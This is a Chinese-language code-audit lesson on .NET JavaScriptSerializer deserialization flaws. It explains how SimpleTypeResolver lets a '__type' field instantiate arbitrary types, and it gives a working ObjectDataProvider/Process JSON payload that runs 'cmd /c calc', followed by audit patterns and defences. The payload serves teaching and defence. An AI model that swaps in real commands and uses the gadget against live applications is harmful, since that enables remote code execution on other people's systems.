.NET高级代码审计(第四课) JavaScriptSerializer反序列化漏洞
字数 1302 2025-08-26 22:11:40
.NET JavaScriptSerializer 反序列化漏洞深入分析与防御
0x00 前言
JavaScriptSerializer 是 .NET 2.0 之后提供的 JSON 序列化和反序列化类,位于 System.Web.Script.Serialization 命名空间,通过 System.Web.Extensions 引用。当开发者使用 Deserialize 或 DeserializeObject 方法处理不受信任的 JSON 数据时,可能导致反序列化攻击,实现远程代码执行(RCE)。
0x01 JavaScriptSerializer 序列化机制
基本序列化示例
public class TestClass
{
public string Name { get; set; }
public int Age { get; set; }
public string Address { get; set; }
public static void ClassMethod(string cmd)
{
Process.Start(cmd);
}
}
// 序列化示例
TestClass test = new TestClass
{
Name = "Ivan1ee",
Age = 18,
Address = "Beijing"
};
JavaScriptSerializer jss = new JavaScriptSerializer();
string serialized = jss.Serialize(test);
常规序列化输出:
{"Name":"Ivan1ee","Age":18,"Address":"Beijing"}
启用类型解析器的序列化
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
string serialized = jss.Serialize(test);
启用 SimpleTypeResolver 后的输出包含程序集完整标识:
{
"__type":"TestClass, App_Code.9w9sorq5, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null",
"Name":"Ivan1ee",
"Age":18,
"Address":"Beijing"
}
关键点:
__type字段包含了程序集全标识(名称、版本、语言文化和公钥)SimpleTypeResolver为托管类型提供类型解析器,允许在序列化字符串中自定义类型的元数据
0x02 JavaScriptSerializer 反序列化漏洞分析
反序列化流程
-
核心方法调用链:
DeserializeObject → Deserialize → BasicDeserialize → DeserializeInternal -
关键判断逻辑:
- 检查字典集合中是否包含
ServerTypeFieldName常量(值为"__type") - 如果存在,获取解析器中的实际类型
- 使用
System.Activator.CreateInstance创建类型实例
- 检查字典集合中是否包含
-
漏洞触发点:
- 初始化
JavaScriptSerializer时使用了SimpleTypeResolver - 反序列化的 JSON 数据可控
- 初始化
漏洞利用POC构造
利用 ObjectDataProvider 类调用任意方法:
{
"__type":"System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35",
"MethodName":"Start",
"ObjectInstance":{
"__type":"System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"StartInfo":{
"__type":"System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",
"FileName":"cmd",
"Arguments":"/c calc"
}
}
}
触发代码示例:
string json = "上面构造的恶意JSON";
JavaScriptSerializer jss = new JavaScriptSerializer(new SimpleTypeResolver());
jss.Deserialize<Object>(json); // 弹出计算器
0x03 代码审计视角
危险代码模式1:直接使用Deserialize
public class JsonHelper
{
public static object DeserializeJson(string input)
{
JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());
return js.Deserialize<object>(input); // 危险!
}
}
危险代码模式2:使用DeserializeObject
public object DeserializeJson(string input)
{
JavaScriptSerializer js = new JavaScriptSerializer(new SimpleTypeResolver());
return js.DeserializeObject(input); // 同样危险
}
审计要点:
- 查找
new JavaScriptSerializer()实例化代码 - 检查是否传入了
SimpleTypeResolver参数 - 确认反序列化数据是否来自不可信源
0x04 漏洞防御方案
-
避免使用SimpleTypeResolver
- 默认情况下
JavaScriptSerializer不使用类型解析器是安全的
- 默认情况下
-
使用白名单机制
public class SafeTypeResolver : JavaScriptTypeResolver { public override Type ResolveType(string id) { // 只允许反序列化安全类型 if (id == typeof(SafeClass).AssemblyQualifiedName) return typeof(SafeClass); return null; } public override string ResolveTypeId(Type type) { return type.AssemblyQualifiedName; } } -
使用替代方案
- 使用
Newtonsoft.Json并配置TypeNameHandling.None - 或使用 .NET Core 中的
System.Text.Json
- 使用
-
输入验证
- 检查反序列化前的 JSON 数据,过滤包含
__type的输入
- 检查反序列化前的 JSON 数据,过滤包含
0x05 总结
JavaScriptSerializer 反序列化漏洞的关键在于:
- 使用了
SimpleTypeResolver - 反序列化了不可信的 JSON 数据
- 攻击者可以控制
__type字段指定任意类型
防御核心:
- 默认配置下是安全的(不使用类型解析器)
- 如需使用解析器,必须实现严格的白名单机制
- 优先考虑使用更现代的 JSON 序列化方案